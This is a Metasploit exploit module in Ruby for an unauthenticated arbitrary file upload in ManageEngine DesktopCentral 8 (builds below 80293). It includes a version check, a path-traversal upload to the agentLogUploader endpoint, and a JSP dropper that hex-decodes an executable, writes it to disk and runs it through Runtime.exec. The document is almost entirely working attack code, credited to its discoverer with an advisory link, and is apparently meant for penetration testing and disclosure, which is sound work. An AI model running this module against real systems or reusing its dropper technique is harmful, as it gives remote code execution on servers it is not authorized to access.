DesktopCentral AgentLogUpload Arbitrary File Upload

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0  
below build 80293. A malicious user can upload a JSP file into the web root without  
authentication, leading to arbitrary code execution.  
},  
'Author' =>  
[  
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ]  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
[ 'Manage Desktop Central 8 server / Windows', {} ]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 11 2013'  
))  
  
register_options([Opt::RPORT(8020)], self.class)  
end  
  
def upload_file(filename, contents)  
res = send_request_cgi({  
'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"),  
'method' => 'POST',  
'data' => contents,  
'ctype' => "text/html"  
})  
  
if res and res.code == 200 and res.body.to_s.empty?  
return true  
else  
return false  
end  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri("configurations.do"),  
'method' => 'GET'  
})  
  
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  
build = $1  
print_status("Manage Desktop Central 8 build #{build} found")  
if build < "80293"  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri("agentLogUploader"),  
'method' => 'POST'  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("#{peer} - Uploading JSP to execute the payload")  
  
exe = payload.encoded_exe  
exe_filename = rand_text_alpha_lower(8) + ".exe"  
  
dropper = jsp_drop_and_execute(exe, exe_filename)  
dropper_filename = rand_text_alpha_lower(8) + ".jsp"  
  
if upload_file(dropper_filename, dropper)  
register_files_for_cleanup(exe_filename)  
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")  
else  
fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed")  
end  
  
print_status("#{peer} - Executing payload")  
send_request_cgi(  
{  
'uri' => normalize_uri(dropper_filename),  
'method' => 'GET'  
})  
end  
  
def jsp_drop_bin(bin_data, output_file)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|  
  
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|  
  
jspraw << %Q|int numbytes = data.length();\n|  
  
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|  
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|  
jspraw << %Q|{\n|  
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|  
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|  
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|  
jspraw << %Q| comb <<= 4;\n|  
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|  
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|  
jspraw << %Q|}\n|  
  
jspraw << %Q|outputstream.write(bytes);\n|  
jspraw << %Q|outputstream.close();\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
def jsp_execute_command(command)  
jspraw = %Q|\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
def jsp_drop_and_execute(bin_data, output_file)  
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)  
end  
end  
`